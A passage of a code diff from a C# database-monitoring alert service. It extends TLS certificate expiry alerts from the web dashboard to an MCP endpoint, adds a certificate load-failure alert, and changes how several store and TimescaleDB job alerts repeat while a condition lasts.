     /// a throwing pre-deliver mute check can never propagate out of the collection sweep. Cancellation still
     /// propagates.
     /// </summary>
-    public async Task EvaluateWebTlsCertificateAsync(WebTlsCertReport report, CancellationToken cancellationToken)
+    public Task EvaluateWebTlsCertificateAsync(WebTlsCertReport report, CancellationToken cancellationToken) =>
+        EvaluateListenerTlsCertificateAsync(TlsListener.Web, report, cancellationToken);
+
+    /// <summary>
+    /// The isolating entry point the worker's sweep calls for the MCP endpoint's TLS certificate expiry
+    /// self-alert (#5288): the web entry point's twin, with the same failure isolation, over the MCP listener's
+    /// own key and metric pair. Cancellation still propagates.
+    /// </summary>
+    public Task EvaluateMcpTlsCertificateAsync(WebTlsCertReport report, CancellationToken cancellationToken) =>
+        EvaluateListenerTlsCertificateAsync(TlsListener.Mcp, report, cancellationToken);
+
+    /// <summary>The one failure-isolating wrapper behind both listeners' entry points (#5288), so the catch
+    /// exists once and the two listeners cannot drift in what they swallow.</summary>
+    private async Task EvaluateListenerTlsCertificateAsync(
+        TlsListener listener, WebTlsCertReport report, CancellationToken cancellationToken)
     {
         try
         {
-            await ApplyWebTlsCertificateAsync(report, cancellationToken);
+            await ApplyListenerTlsCertificateAsync(listener, report, cancellationToken);
         }
         catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
         {
@@ -5573,14 +6245,44 @@ public async Task EvaluateWebTlsCertificateAsync(WebTlsCertReport report, Cancel
         }
         catch (Exception ex)
         {
-            /* NOT counted by #3013's swallowed-read counter: the report is a parameter from the web host's
-               in-memory WebTlsCertificateState publish, and this method performs no store read. */
-            _logger?.LogError("Web TLS certificate self-alert failed: {Message}", ex.Message);
+            /* NOT counted by #3013's swallowed-read counter: the report is a parameter from the listener
+               host's in-memory TLS certificate state publish (WebTlsCertificateState for the web host,
+               McpTlsCertificateState for the MCP host), and this method performs no store read. Two literal
+               messages in ONE catch rather than a templated one: the failed-read census reads this catch's
+               text, and the web line stays byte-identical to what it has always logged. */
+            if (listener == TlsListener.Mcp)
+            {
+                _logger?.LogError("MCP TLS certificate self-alert failed: {Message}", ex.Message);
+            }
+            else
+            {
+                _logger?.LogError("Web TLS certificate self-alert failed: {Message}", ex.Message);
+            }
         }
     }
 
+    /// <summary>The web dashboard's TLS certificate expiry edge (#3514): <see cref="ApplyListenerTlsCertificateAsync"/>
+    /// for <see cref="TlsListener.Web"/>. Kept under its original name because every web pin calls it.</summary>
+    internal Task ApplyWebTlsCertificateAsync(WebTlsCertReport report, CancellationToken cancellationToken) =>
+        ApplyListenerTlsCertificateAsync(TlsListener.Web, report, cancellationToken);
+
+    /// <summary>The MCP endpoint's TLS certificate expiry edge (#5288): <see cref="ApplyListenerTlsCertificateAsync"/>
+    /// for <see cref="TlsListener.Mcp"/>. Internal so it pins directly with a recording deliverer and a
+    /// controllable clock, like the web twin.</summary>
+    internal Task ApplyMcpTlsCertificateAsync(WebTlsCertReport report, CancellationToken cancellationToken) =>
+        ApplyListenerTlsCertificateAsync(TlsListener.Mcp, report, cancellationToken);
+
     /// <summary>
-    /// Edge-applies the "the web dashboard's served TLS certificate is expiring" condition (#3514).
+    /// Edge-applies the "a listener's served TLS certificate is expiring" condition: the web dashboard's
+    /// (#3514, key <c>webtlscert</c>) or the MCP endpoint's (#5288, key <c>mcptlscert</c>).
+    ///
+    /// <para><b>One body, two listeners (#5288).</b> The edge rules, the window, the daily re-state and the
+    /// severities are identical for both listeners, so there is one implementation and a
+    /// <see cref="TlsListenerDescriptor"/> (the local <c>tls</c>) that supplies the only things that differ: the
+    /// fleet key, the metric pair and the two nouns in the rendered text. The prose below is written for the web
+    /// dashboard, which is where the behaviour was first designed; read "the dashboard" as "the listener" for the
+    /// MCP endpoint. A certificate that both listeners serve fires twice and resolves twice, because the two
+    /// alerts have their own keys, their own active flags and their own re-state stamps.</para>
     ///
     /// <para><b>Why this exists.</b> When the dashboard is LAN-exposed with a certificate, its expiry was
     /// surfaced only two ways — a startup-log warning inside <see cref="WebTlsCertWarnWindow"/> and the
@@ -5607,6 +6309,14 @@ public async Task EvaluateWebTlsCertificateAsync(WebTlsCertReport report, Cancel
     /// the host does not re-decide when the date passes: it stays loopback-only until it is restarted, and a
     /// date-derived arm would have resolved the alert about a dashboard that was still down.</para>
     ///
+    /// <para><b>The load-refusal arm (#5288).</b> A certificate that could not be loaded at all (a changed
+    /// password, a key that does not match) leaves the listener loopback-only with nothing to read a date from.
+    /// The host says so (<see cref="WebTlsCertReport.LoadRefusal"/>) rather than clearing its state, because a
+    /// cleared state is the healthy "no certificate to watch" reading and would resolve a standing expiry alert
+    /// under "Renewed" while the endpoint is down. This arm fires the same family at CRITICAL, under the same key
+    /// and metric, and on its own re-state stamp so it is raised at once even when an in-window warning was sent
+    /// minutes ago. It ignores the date fields entirely, so a blank date can never read as expired.</para>
+    ///
     /// <para>A STANDING condition like its siblings: fire on entry, re-state per <see cref="WebTlsCertRefire"/>
     /// while it holds, and ONE resolution when the served certificate is healthy again (renewed past the
     /// window) or TLS is no longer configured — the not-yet-valid arm shares that resolution: the host
@@ -5615,89 +6325,127 @@ public async Task EvaluateWebTlsCertificateAsync(WebTlsCertReport report, Cancel
     /// (the <c>Configured=false</c> arm, which does resolve). Gated on the master alerts switch. Internal so it
     /// pins directly with a recording deliverer and a controllable clock.</para>
     /// </summary>
-    internal async Task ApplyWebTlsCertificateAsync(WebTlsCertReport report, CancellationToken cancellationToken)
+    internal async Task ApplyListenerTlsCertificateAsync(
+        TlsListener listener, WebTlsCertReport report, CancellationToken cancellationToken)
     {
         if (report is null || !_settings.AlertsEnabled)
         {
             return;
         }
 
+        var tls = DescribeTlsListener(listener);
         var now = _utcNow();
 
         /* The host's verdict, not the clock's: see the method summary. Meaningful only when configured. */
         var refusedNotYetValid = report.Configured && report.RefusedNotYetValid;
 
+        /* The host's other verdict (#5288): the certificate could not be loaded, so there is no date to read. */
+        var loadRefusal = report.Configured ? report.LoadRefusal : null;
+        var loadRefused = loadRefusal is not null;
+
         /* Healthy is either "no certificate to watch" or "being served, with more than the warning window
            still to run". The subtraction is DateTime-on-DateTime so it is a pure TimeSpan and never trips the
-           DateTimeOffset(...) Kind guard on a test-injected clock. */
+           DateTimeOffset(...) Kind guard on a test-injected clock. A load refusal is neither. */
         var healthy =
             !report.Configured
-            || (!refusedNotYetValid && report.NotAfterUtc.UtcDateTime - now > WebTlsCertWarnWindow);
+            || (!loadRefused && !refusedNotYetValid && report.NotAfterUtc.UtcDateTime - now > WebTlsCertWarnWindow);
 
         if (healthy)
         {
-            if (_activeWebTlsCert.TryRemove(WebTlsCertKey, out var was) && was)
+            if (_activeListenerTlsCert.TryRemove(tls.Key, out var was) && was)
             {
-                _lastWebTlsCertAlert.TryRemove(WebTlsCertKey, out _);
+                _lastListenerTlsCertAlert.TryRemove(tls.Key, out _);
+                _lastListenerTlsCertAlert.TryRemove(tls.Key + LoadRefusalStampSuffix, out _);
                 /* The configured-and-healthy line names BOTH facts the family alerts on — served, and outside
                    the window — because the active alert it clears may have been either arm (#3517): a
                    dashboard toggled off and on within one supervisor tick re-publishes a now-usable
                    certificate before the sweep ever sees the null, so this is the line a cured
                    not-yet-valid refusal resolves with too. */
                 await RecordResolutionAsync(new AlertResolution(
-                    StoreKey(WebTlsCertKey), _storeLabel, WebTlsCertExpiryMetric, WebTlsCertRenewedMetric,
+                    StoreKey(tls.Key), _storeLabel, tls.ExpiryMetric, tls.RenewedMetric,
                     report.Configured
-                        ? "The web dashboard's TLS certificate is being served and is outside the expiry window"
-                        : "The web dashboard is no longer serving a TLS certificate to watch"), cancellationToken);
+                        ? $"The {tls.Surface}'s TLS certificate is being served and is outside the expiry window"
+                        : $"The {tls.Surface} is no longer serving a TLS certificate to watch"), cancellationToken);
             }
 
             return;
         }
 
-        _activeWebTlsCert[WebTlsCertKey] = true;
+        _activeListenerTlsCert[tls.Key] = true;
+
+        /* A load refusal keeps its own stamp beside the family's: a standing in-window warning (or a refusal the
+           host made earlier) must not hold back the first Critical about a certificate that has just failed to
+           load, and the refusal then re-states on its own daily interval like every other arm. */
+        var stampKey = loadRefused ? tls.Key + LoadRefusalStampSuffix : tls.Key;
 
         /* Standing condition: fire on entry, re-state only per WebTlsCertRefire while it holds — its OWN
            interval rather than the shared cooldown, for the StaleMuteRefire reason (a fixed date measured
            against the clock, identical every sweep). */
-        if (LastFiredStamp.TryGet(_lastWebTlsCertAlert, WebTlsCertKey, now, out var lastFired)
+        if (LastFiredStamp.TryGet(_lastListenerTlsCertAlert, stampKey, now, out var lastFired)
             && now - lastFired < WebTlsCertRefire)
         {
             return;
         }
 
-        _lastWebTlsCertAlert[WebTlsCertKey] = now;
+        _lastListenerTlsCertAlert[stampKey] = now;
 
-        var expired = report.NotAfterUtc.UtcDateTime <= now;
-        var (shortMessage, detail, currentValue) = RenderWebTlsCert(report, now, expired, refusedNotYetValid);
+        /* No dates exist for a load refusal, and a blank NotAfter would read as expired: never derive it there. */
+        var expired = !loadRefused && report.NotAfterUtc.UtcDateTime <= now;
+        var (shortMessage, detail, currentValue) =
+            RenderListenerTlsCert(tls, report, now, expired, refusedNotYetValid, loadRefusal);
 
         var delivery = await FireAsync(
-            StoreKey(WebTlsCertKey), _storeLabel, WebTlsCertExpiryMetric,
+            StoreKey(tls.Key), _storeLabel, tls.ExpiryMetric,
             currentValue: currentValue,
-            /* The not-yet-valid arm has no window to name — the bar it failed is "valid now". */
-            thresholdValue: refusedNotYetValid && !expired
-                ? "valid at service start"
-                : $"{Hosting.DarlingWebTls.ExpiryWarningDays} days",
+            /* The refusal arms have no window to name — the bar they failed is "loads" and "valid now". */
+            thresholdValue: loadRefused
+                ? "loads at service start"
+                : refusedNotYetValid && !expired
+                    ? "valid at service start"
+                    : $"{Hosting.DarlingWebTls.ExpiryWarningDays} days",
             detail: detail,
-            /* Critical for BOTH refusals: expired and not-yet-valid leave the LAN dashboard equally unreachable. */
-            severity: expired || refusedNotYetValid ? AlertSeverityLevel.Critical : AlertSeverityLevel.Warning,
+            /* Critical for EVERY refusal: expired, not-yet-valid and cannot-load leave the LAN listener equally
+               unreachable. */
+            severity: expired || refusedNotYetValid || loadRefused ? AlertSeverityLevel.Critical : AlertSeverityLevel.Warning,
             shortMessage: shortMessage,
             /* State-only: an expiry is a date, not a quantity — see WebTlsCertExpiryMetric. */
             numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
             cancellationToken);
-        AfterSelfFire(WebTlsCertExpiryMetric, _lastWebTlsCertAlert, WebTlsCertKey, now, WebTlsCertRefire, delivery);
+        AfterSelfFire(tls.ExpiryMetric, _lastListenerTlsCertAlert, stampKey, now, WebTlsCertRefire, delivery);
     }
 
-    /// <summary>Renders the (shortMessage, detail, currentValue) for the web TLS certificate alert. The
-    /// subject and thumbprint match the web host's own startup log line, so an operator can tie the alert to
-    /// the certificate it named. Pure but for the caller's clock; pinned by tests.
+    /// <summary>Renders the (shortMessage, detail, currentValue) for a listener's TLS certificate alert. The
+    /// subject and thumbprint match the listener host's own startup log line, so an operator can tie the alert to
+    /// the certificate it named. The two nouns come from the descriptor (<c>tls</c>): the web text is the same
+    /// characters it always was, and the MCP text names the "MCP server" and the "LAN MCP endpoint". Pure but for
+    /// the caller's clock; pinned by tests.
     ///
     /// <para>Expired outranks not-yet-valid when both hold (a refused-at-start certificate the process then
     /// outlived): fixing the clock cannot bring an expired certificate back, so that is the fact to lead
     /// with; the not-yet-valid text below is for the case a clock fix or the right certificate plus a restart
-    /// actually cures.</para></summary>
-    private static (string ShortMessage, string Detail, string CurrentValue) RenderWebTlsCert(
-        WebTlsCertReport report, DateTime now, bool expired, bool refusedNotYetValid)
+    /// actually cures. A load refusal outranks both: it has no dates, so it is rendered from its reason
+    /// alone.</para></summary>
+    private static (string ShortMessage, string Detail, string CurrentValue) RenderListenerTlsCert(
+        TlsListenerDescriptor tls, WebTlsCertReport report, DateTime now, bool expired, bool refusedNotYetValid,
+        string? loadRefusal)
     {
+        if (loadRefusal is not null)
+        {
+            /* The reason is the loader's own message: one line, capped, because it lands in the detail text the
+               mute pre-fill parses line by line. */
+            var reason = CustomAlertEvaluator.SanitizeDisplayText(loadRefusal, MaxTlsLoadRefusalLength);
+            var because = reason.Length == 0 ? string.Empty : $" ({reason})";
+            var refusedValue = "not loaded; not being served";
+            var refusedShort =
+                $"{tls.Surface} TLS certificate COULD NOT BE LOADED — {tls.Endpoint} is loopback-only";
+            var refusedDetail =
+                $"The {tls.Surface}'s configured TLS certificate could not be loaded when the service started{because}, "
+                + $"so the host refused to expose the {tls.Endpoint}: it is bound LOOPBACK-ONLY — unreachable from the "
+                + "network, and it will not fall back to plain HTTP. Check the certificate file or files, the password, "
+                + "and that the private key matches the certificate, then restart the service so the host loads it again.";
+            return (refusedShort, refusedDetail, refusedValue);
+        }
+
         var notAfter = report.NotAfterUtc.UtcDateTime;
         var certRef = $"Certificate: subject {report.Subject}, thumbprint {report.Thumbprint}.";
 
@@ -5706,7 +6454,7 @@ private static (string ShortMessage, string Detail, string CurrentValue) RenderW
             var notBefore = report.NotBeforeUtc.UtcDateTime;
             var currentValue = $"not valid until {notBefore:u}; not being served";
             var shortMessage =
-                $"web dashboard TLS certificate NOT YET VALID (valid from {notBefore:u}) — LAN dashboard is loopback-only";
+                $"{tls.Surface} TLS certificate NOT YET VALID (valid from {notBefore:u}) — {tls.Endpoint} is loopback-only";
 
             /* Two tenses, because the operator reads this on the alert channel at some later hour: while the
                window is still ahead, the clock is the likely culprit and the date is what to check it
@@ -5719,9 +6467,9 @@ otherwise surprise them. */
                 : $"The window opened {notBefore:u}, after the service started — the host judged the certificate once, at load, "
                   + "and stays loopback-only on that verdict until it is restarted.";
             var detail =
-                $"The web dashboard's configured TLS certificate was not yet valid when the service started (not valid "
-                + $"until {notBefore:u}), so the host refused to serve it and the LAN dashboard is bound LOOPBACK-ONLY — "
-                + $"unreachable from the network, and it will not fall back to plain HTTP. {clockLine} Correct the system "
+                $"The {tls.Surface}'s configured TLS certificate was not yet valid when the service started (not valid "
+                + $"until {notBefore:u}), so the host refused to serve it and the {tls.Endpoint} is bound LOOPBACK-ONLY — "
+                + $"unreachable from the network, and it will not fall back to plain HTTP. The token is still required on the loopback listener. {clockLine} Correct the system "
                 + "clock or install the currently-valid certificate, then restart the service so the host loads it "
                 + $"again. {certRef}";
             return (shortMessage, detail, currentValue);
@@ -5732,10 +6480,10 @@ otherwise surprise them. */
             var agoDays = Math.Max(0, (int)Math.Floor((now - notAfter).TotalDays));
             var currentValue = $"expired {notAfter:u}";
             var shortMessage =
-                $"web dashboard TLS certificate EXPIRED {notAfter:u} ({agoDays} day{(agoDays == 1 ? string.Empty : "s")} ago)";
+                $"{tls.Surface} TLS certificate EXPIRED {notAfter:u} ({agoDays} day{(agoDays == 1 ? string.Empty : "s")} ago)";
             var detail =
-                $"The web dashboard's TLS certificate expired on {notAfter:u}. An expired certificate fails every TLS "
-                + "handshake, so the LAN dashboard is unreachable now and binds loopback-only on the next service restart. "
+                $"The {tls.Surface}'s TLS certificate expired on {notAfter:u}. An expired certificate fails every TLS "
+                + $"handshake, so the {tls.Endpoint} is unreachable now and binds loopback-only on the next service restart, with the token still required. "
                 + $"Install a renewed certificate and restart the service. {certRef}";
             return (shortMessage, detail, currentValue);
         }
@@ -5743,10 +6491,10 @@ otherwise surprise them. */
         var days = Math.Max(0, (int)Math.Ceiling((notAfter - now).TotalDays));
         var plural = days == 1 ? string.Empty : "s";
         var current = $"expires {notAfter:u} (in {days} day{plural})";
-        var shortMsg = $"web dashboard TLS certificate expires in {days} day{plural} ({notAfter:u})";
+        var shortMsg = $"{tls.Surface} TLS certificate expires in {days} day{plural} ({notAfter:u})";
         var det =
-            $"The web dashboard's TLS certificate expires on {notAfter:u}, in {days} day{plural}. When it lapses the LAN "
-            + "dashboard stops serving (it fails closed to loopback-only, never plain HTTP), so renew it and restart the "
+            $"The {tls.Surface}'s TLS certificate expires on {notAfter:u}, in {days} day{plural}. When it lapses the {tls.Endpoint} "
+            + "stops serving (it fails closed to loopback-only with the token still required, never plain HTTP), so renew it and restart the "
             + $"service before then. {certRef}";
         return (shortMsg, det, current);
     }
@@ -5856,14 +6604,17 @@ internal async Task ApplyStoreJobCadenceAsync(
             if (percent >= warnPercent)
             {
                 _activeJobOverCadence[key] = true;
-                if (CooldownElapsed(_lastJobOverCadenceAlert, key, now))
+                /* #5493: a state alert (see ApplyCaptureDownAsync). */
+                var decision = DecideStateAlert(_lastJobOverCadenceAlert, key, JobCadenceMetric, key, now, out var refire,
+                    severityRank: percent >= 100.0 ? 2 : 1);
+                if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
                 {
                     _lastJobOverCadenceAlert[key] = now;
                     bool critical = percent >= 100.0;
                     var delivery = await FireAsync(
                         StoreKey(JobCadenceKeyPrefix + key), _storeLabel, JobCadenceMetric,
                         $"{percent:F0}% of schedule interval", $"{warnPercent}%",
-                        detail: $"Store background {label} last ran for {durationMs / 1000.0:F0}s against a " +
+                        detail: StateRepeatNote(decision, refire) + $"Store background {label} last ran for {durationMs / 1000.0:F0}s against a " +
                             $"{job.ScheduleIntervalMs / 1000.0:F0}s schedule interval ({percent:F0}%). " +
                             (critical
                                 ? "The job now takes at least as long as its own cadence, so runs back up behind each " +
@@ -5887,11 +6638,12 @@ internal async Task ApplyStoreJobCadenceAsync(
                         numericCurrentValue: Math.Round(percent, 1),
                         numericThresholdValue: critical ? 100 : warnPercent,
                         cancellationToken);
-                    AfterSelfFire(JobCadenceMetric, _lastJobOverCadenceAlert, key, now, SharedCooldown, delivery);
+                    NoteStateSend(JobCadenceMetric, key, delivery);
                 }
             }
             else if (_activeJobOverCadence.TryRemove(key, out var was) && was)
             {
+                EndStateAlert(_lastJobOverCadenceAlert, key, JobCadenceMetric, key);
                 await RecordResolutionAsync(new AlertResolution(
                     StoreKey(JobCadenceKeyPrefix + key), _storeLabel, JobCadenceMetric,
                     "Store Job Cadence Recovered",
@@ -6006,7 +6758,10 @@ internal async Task ApplyRetentionHoldsAsync(
             if (!policy.Armed && ratio >= warnRatio)
             {
                 _activeRetentionHold[key] = true;
-                if (CooldownElapsed(_lastRetentionHoldAlert, key, now))
+                /* #5493: a state alert (see ApplyCaptureDownAsync). */
+                var decision = DecideStateAlert(_lastRetentionHoldAlert, key, RetentionHoldMetric, key, now, out var refire,
+                    severityRank: ratio >= criticalRatio ? 2 : 1);
+                if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
                 {
                     _lastRetentionHoldAlert[key] = now;
                     bool critical = ratio >= criticalRatio;
@@ -6014,7 +6769,7 @@ internal async Task ApplyRetentionHoldsAsync(
                     var delivery = await FireAsync(
                         StoreKey(RetentionHoldKeyPrefix + key), _storeLabel, RetentionHoldMetric,
                         $"{ratio:F1}x its {policy.DropAfter} horizon", $"{warnRatio:F1}x",
-                        detail: $"Store {label} is HELD PAUSED by the rollup-coverage gate, and the tier now " +
+                        detail: StateRepeatNote(decision, refire) + $"Store {label} is HELD PAUSED by the rollup-coverage gate, and the tier now " +
                             $"holds {spanDays:F1} days across {policy.ChunkCount} chunk(s) against a configured " +
                             $"{policy.DropAfter} horizon ({ratio:F1}x). " +
                             (critical
@@ -6039,7 +6794,7 @@ internal async Task ApplyRetentionHoldsAsync(
                         numericCurrentValue: Math.Round(ratio, 2),
                         numericThresholdValue: critical ? criticalRatio : warnRatio,
                         cancellationToken);
-                    AfterSelfFire(RetentionHoldMetric, _lastRetentionHoldAlert, key, now, SharedCooldown, delivery);
+                    NoteStateSend(RetentionHoldMetric, key, delivery);
                 }
             }
             else
@@ -6064,6 +6819,8 @@ private async Task ClearRetentionHoldAsync(
             return;
         }
 
+        EndStateAlert(_lastRetentionHoldAlert, key, RetentionHoldMetric, key);
+
         var label = string.IsNullOrEmpty(policy.HypertableName)
             ? $"retention job {key}"
             : $"{policy.HypertableName} retention [{key}]";
@@ -6161,7 +6918,10 @@ internal async Task ApplyRawPurgeOverHorizonAsync(
             if (overHorizon && (!lastRan || recordStale))
             {
                 _activeRawPurgeOverHorizon[key] = true;
-                if (CooldownElapsed(_lastRawPurgeOverHorizonAlert, key, now))
+                /* #5493: a state alert (see ApplyCaptureDownAsync). */
+                var decision = DecideStateAlert(_lastRawPurgeOverHorizonAlert, key, RawPurgeOverHorizonMetric, key, now, out var refire,
+                    severityRank: reading.OverHorizonRatio!.Value >= criticalRatio ? 2 : 1);
+                if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
                 {
                     _lastRawPurgeOverHorizonAlert[key] = now;
                     var ratioValue = reading.OverHorizonRatio!.Value;
@@ -6172,7 +6932,7 @@ internal async Task ApplyRawPurgeOverHorizonAsync(
                     var delivery = await FireAsync(
                         StoreKey(RawPurgeOverHorizonKeyPrefix + key), _storeLabel, RawPurgeOverHorizonMetric,
                         $"{ratioValue:F1}x its {reading.DropAfter} horizon", $"{warnRatio:F1}x",
-                        detail: $"Store {label} is {ratioValue:F1}x its configured {reading.DropAfter} horizon, " +
+                        detail: StateRepeatNote(decision, refire) + $"Store {label} is {ratioValue:F1}x its configured {reading.DropAfter} horizon, " +
                             $"and the last recorded purge-trigger pass did not run it — {reasonText}. " +
                             (critical
                                 ? "The tier is now several times its intended depth and still growing. "
@@ -6187,11 +6947,12 @@ internal async Task ApplyRawPurgeOverHorizonAsync(
                         numericCurrentValue: Math.Round(ratioValue, 2),
                         numericThresholdValue: critical ? criticalRatio : warnRatio,
                         cancellationToken);
-                    AfterSelfFire(RawPurgeOverHorizonMetric, _lastRawPurgeOverHorizonAlert, key, now, SharedCooldown, delivery);
+                    NoteStateSend(RawPurgeOverHorizonMetric, key, delivery);
                 }
             }
             else if (_activeRawPurgeOverHorizon.TryRemove(key, out var was) && was)
             {
+                EndStateAlert(_lastRawPurgeOverHorizonAlert, key, RawPurgeOverHorizonMetric, key);
                 await RecordResolutionAsync(new AlertResolution(
                     StoreKey(RawPurgeOverHorizonKeyPrefix + key), _storeLabel, RawPurgeOverHorizonMetric,
                     RawPurgeOverHorizonClearedMetric,
@@ -6894,7 +7655,7 @@ where the unit is spelled out. Threshold is the phrase "running on schedule". */
                         shortMessage: $"{label} stuck — auto-re-arm FAILED",
                         numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                         cancellationToken);
-                    AfterSelfFire(band.Metric, _lastPolicyJobAlert, key, now, SharedCooldown, delivery);
+                    NoteStateSend(band.Metric, key, delivery);
                 }
             }
             else if (episode.State == PolicyJobHealth.AwaitingSchedulerRetry)
@@ -6902,7 +7663,7 @@ where the unit is spelled out. Threshold is the phrase "running on schedule". */
                 /* #3591: an hour on and the scheduler's own retry has not cleared it. Either the jittered backoff
                    landed just past this check, or the job crashed AGAIN and its backoff doubled — both are worth a
                    human reading the PostgreSQL log, and neither is helped by alter_job (which would reset the
-                   backoff once more). Escalate: page once now, re-fire on the cooldown, never re-arm. */
+                   backoff once more). Escalate: page once now (#5493: a repeat only per connection_refire_minutes), never re-arm. */
                 _policyJobState[key] = new PolicyJobEpisode(PolicyJobHealth.Escalated, job.Family);
                 _lastPolicyJobAlert[key] = now;
                 fired++;
@@ -6920,7 +7681,7 @@ where the unit is spelled out. Threshold is the phrase "running on schedule". */
                     shortMessage: $"{label} still in crash backoff an hour on — escalated",
                     numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                     cancellationToken);
-                AfterSelfFire(band.Metric, _lastPolicyJobAlert, key, now, SharedCooldown, delivery);
+                NoteStateSend(band.Metric, key, delivery);
             }
             else if (episode.State == PolicyJobHealth.ReArmed)
             {
@@ -6940,25 +7701,28 @@ where the unit is spelled out. Threshold is the phrase "running on schedule". */
                     shortMessage: $"{label} re-hung after self-heal — escalated",
                     numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                     cancellationToken);
-                AfterSelfFire(band.Metric, _lastPolicyJobAlert, key, now, SharedCooldown, delivery);
+                NoteStateSend(band.Metric, key, delivery);
             }
             else
             {
-                /* Already escalated: never re-arm again; keep paging on the cooldown while it stays stuck. */
-                if (CooldownElapsed(_lastPolicyJobAlert, key, now))
+                /* Already escalated: never re-arm again. #5493: the page for the escalation was the alert for this
+                   occurrence, so a job that stays stuck is not paged again per cooldown; it repeats only per
+                   connection_refire_minutes, or to send again an alert no channel took (#4795). */
+                var decision = DecideStateAlert(_lastPolicyJobAlert, key, band.Metric, key, now, out var refire);
+                if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
                 {
                     _lastPolicyJobAlert[key] = now;
                     fired++;
                     var delivery = await FireAsync(
                         StoreKey(band.KeyPrefix + key), _storeLabel, band.Metric,
                         job.Reason, "running on schedule",
-                        detail: $"TimescaleDB {label} remains stuck ({job.Reason}) after escalation. {band.Stalled} " +
+                        detail: StateRepeatNote(decision, refire) + $"TimescaleDB {label} remains stuck ({job.Reason}) after escalation. {band.Stalled} " +
                             "Manual intervention is required; the service will not auto-re-arm it.",
                         severity: band.Severity,
                         shortMessage: $"{label} still stuck after escalation",
                         numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                         cancellationToken);
-                    AfterSelfFire(band.Metric, _lastPolicyJobAlert, key, now, SharedCooldown, delivery);
+                    NoteStateSend(band.Metric, key, delivery);
                 }
             }
         }
@@ -6982,6 +7746,7 @@ episode remembers the family. Deriving the family from this pass's rows instead
                why we are here at all — and a resolution under the wrong metric name resolves nothing and
                leaves the real alert row open. */
             var band = PolicyJobBand.For(was.Family);
+            _stateRetries.Clear(StateRetryKey(band.Metric, key));
             if (was.State == PolicyJobHealth.AwaitingSchedulerRetry)
             {
                 /* #3591: the scheduler's own retry cleared it and nothing was paged, so there is nothing to
@@ -7025,6 +7790,13 @@ await RecordResolutionAsync(new AlertResolution(
     /// it cannot produce a delta; and if one ever did, the sentence to say about it belongs to the hold, not
     /// to this arm.</para>
     ///
+    /// <para><b>One known benign source (#5551).</b> The startup and hourly sweeps that drop a retired or reshaped
+    /// continuous aggregate stop its jobs first, and TimescaleDB's scheduler ends a worker that is running at that
+    /// moment, which records ONE failed run (<c>total_failures</c> + 1, last run Failed). When the drop goes ahead
+    /// the job and its statistics are deleted with the aggregate and this arm never sees it. When the drop is
+    /// skipped (the worker outlasted the sweep's cap) or fails, the job stays, scheduled again, and carries that
+    /// failure until its next run succeeds, so this arm can report it once at INFORMATION.</para>
+    ///
     /// <para>Event-shaped, so there is no standing state and no resolution row: what is reported is "N more
     /// failures since the previous sample", which is true when it is said and is not a condition that later
     /// clears. The alert cooldown still gates the re-fire, so a job failing every few minutes cannot outrun
@@ -7288,6 +8060,8 @@ public void Forget(int serverId)
         _lastCaptureDownAlert.TryRemove(key, out _);
         _activeAgentDown.TryRemove(key, out _);
         _lastAgentDownAlert.TryRemove(key, out _);
+        _stateRetries.Clear(StateRetryKey(CaptureDownMetric, key));
+        _stateRetries.Clear(StateRetryKey(AgentDownMetric, key));
         _connectionState.TryRemove(key, out _);
         _hasBeenOnline.TryRemove(key, out _);
         _collectionWatchStart[key] = Unstamped;
@@ -7296,6 +8070,7 @@ public void Forget(int serverId)
            state dropped above. Left behind, a re-add that is still down would pass its silent first pass and then
            be paged on the second, as "the previous alert reached no channel", for an outage the removed server had. */
         _connectionRetries.Clear(key);
+        _collectionStoppedRetries.Clear(key);
 
         /* #4795: and so does its re-fire clock, the stamp of the last down alert delivered. Left behind, a re-add
            that is still down would find a down alert on record for an outage the removed server had, and the clock
@@ -7738,7 +8513,7 @@ FROM ag_database_replica_states
         CurrentValueText: "resolved", ThresholdValueText: "",
         NumericCurrentValue: null, NumericThresholdValue: null,
         Delivery: AlertDelivery.NoChannelApplies(),
-        Muted: false, DetailText: resolution.Message, ContextJson: null);
+        Muted: false, DetailText: SensitiveStatements.Text(resolution.Message), ContextJson: null);
 
     /// <summary>
     /// The explicit "this metric has no measurement" value for the history stores' NOT NULL
@@ -7901,6 +8676,84 @@ private bool NoteRetrySend(
         return failed;
     }
 
+    internal const string CaptureDownMetric = "Capture Down";
+    internal const string AgentDownMetric = "Agent Not Running";
+
+    /// <summary>
+    /// #5493: retries of the lasting-state self-alerts, keyed by <see cref="StateRetryKey"/>. Collection Stopped and
+    /// the connection and AG alerts keep their own trackers; every other state alert shares this one.
+    /// </summary>
+    private readonly FailedSendRetryTracker _stateRetries = new();
+
+    private static string StateRetryKey(string metric, string grainKey) => metric + "|" + grainKey;
+
+    /// <summary>
+    /// #5493: the highest severity rank (1 warning, 2 critical) an alert with severity bands has sent in its current
+    /// occurrence, keyed by <see cref="StateRetryKey"/>. <see cref="DecideStateAlert"/> sends a new entry when the
+    /// condition rises past it; <see cref="EndStateAlert"/> forgets it on recovery.
+    /// </summary>
+    private readonly ConcurrentDictionary<string, int> _stateSeverityRank = new();
+
+    /// <summary>
+    /// #5493: the decision for a lasting-state self-alert, the shape "Collection Stopped" took in #5489. The alert
+    /// is a state: <paramref name="stamps"/> holds when it was last sent, and a grain with no stamp is the entry, so
+    /// the first check that sees the condition (also the first after a restart, which loses the stamps) sends ONE
+    /// alert. While the condition stands it repeats only when <c>connection_refire_minutes</c> is above 0 and that
+    /// interval passed, or to send again an alert no channel took (#4795). It never repeats per cooldown. A stamp
+    /// ahead of the clock is replaced by this reading (#4732, in <see cref="LastFiredStamp.TryGet"/>).
+    /// </summary>
+    private ConnectionAlertDecision DecideStateAlert(
+        ConcurrentDictionary<string, DateTime> stamps, string key, string metric, string grainKey, DateTime now,
+        out int refireMinutes, int severityRank = 0)
+    {
+        refireMinutes = _connectionRefireMinutes();
+        var known = LastFiredStamp.TryGet(stamps, key, now, out var last);
+        var rankKey = StateRetryKey(metric, grainKey);
